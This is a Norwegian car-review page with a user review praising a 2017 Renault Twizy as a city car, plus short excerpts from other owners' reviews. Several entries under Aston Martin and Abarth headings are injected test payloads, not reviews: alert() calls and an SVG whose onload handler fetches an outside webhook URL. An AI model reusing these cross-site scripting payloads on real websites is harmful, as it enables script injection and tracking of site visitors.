2017 Renault Twizy Kombikupé Batteri
Vurdert av Hans
Dette er etter min mening den perfekte bybil. Vekker oppsikt og smil over alt. Sjarmerende å kjøre; litt som å kjøre en go-cart. Bilen går til tross for 17 hestekrefter overraskende bra opp til 80 km/t. To personer får greit plass - men ikke plass til så mye mer da! Fungerer overraskende bra på vinteren men krever tykk jakke, lue og hansker. Det eneste problemet jeg har hatt er at håndbrekket har vært litt tregt og at det kanskje trekker litt i overkant i baksetet. Og som "4-hjuls elektrisk motorsykkel" går den gratis gjennom alt av bommer (også kommende, tror jeg) i Oslo og det går strøm for to kroner hver vei til/fra jobben. Og du trenger en luke på 2 meter for å parkere, altså finner man "alltid" plass.
Flere vurderinger fra samme generasjon
Renault Twizy (2017)
Utrolig morsom sak, for bruk i byen. Comfort er ok for 2, ikke verdens beste seter. Man ender opp med å kjøre bare for å kjøre, mens rekkevidde setter grenser for hvor langt man kommer.
Renault Twizy (2016)
Forventer man seg at Twizy skal minne om en vanlig liten elbil, blir man nok skuffet. Er man forberedt på en praktisk go-kart rakett (med Powerbox) med litt gjennomtrekk, som kan kjøres på vanlig v
Renault Twizy (2013)
En grei by bil ,men sky høye bremse deler som som regel må skiftes en gang i året. Styr unna!!!!!Alt av bremser har måtte bli skiftet ved 22000km,skiver+bremseklosser + 1kaliper=17500kr så kommer
Flere vurderinger
Mazda CX-5 (2013)
Bilens største utfordring med skyactive motor er relatert til partikkelfilter, koksing av inntaksmanifold og tett sumpfilter, som kan lede til havari. Annet er utkobling av turbo på grunn av feil ve
Renault 5 E-Tech (2025)
Dette er virkelig en bil jeg anbefaler. Årets bil i Europa og Årets bil i Norge, med god grunn. Veldig kult retro-design. Legger til at Renault også hadde årets bil i Europa i 2024 med Scenic E-Te
Citroën e-C4 (2025)
Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve
Aston Martin DB9 GT (2017)
alert("total")
Aston Martin DB9 GT (2017)
totalvurderingtest
Abarth 500e (2024)
Abarth 500e (2024)
Abarth 500e (2024)
xxxfooo4
Abarth 500e (2024)
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>
Volvo EX40 (2026)
Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass
Ford Explorer EV (2025)
Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.
Ford Kuga (2021)
Forbruk. Gir en tier for forbruk langkjøring. 0,44 og forbruk 0,8 med campingvogn, totalvekt 1400 kg(ved tomt batteri). Rekkevidde elektrisk på vinter månedene er fra 20 - 30 km, blandet/bykjøring
Hongqi E-HS9 (2022)
Den er utrolig komfortabel, stille og har en kvalitet som overgår det meste på markedet. Har hatt bilen i 2år nå, å hele familien elsker bilen!
Mercedes-Benz EQC (2022)
Topp komfort og driftsikker.
Polestar 2 (2022)
God kvalitetsfølelse. Gode (frem-) seter. Smart med OTA (oppdateringer over-the-air). Lett å selv restarte system og app etter behov. Pen bil! Praktisk med frunk for elkabler på langtur. (hvorfor h
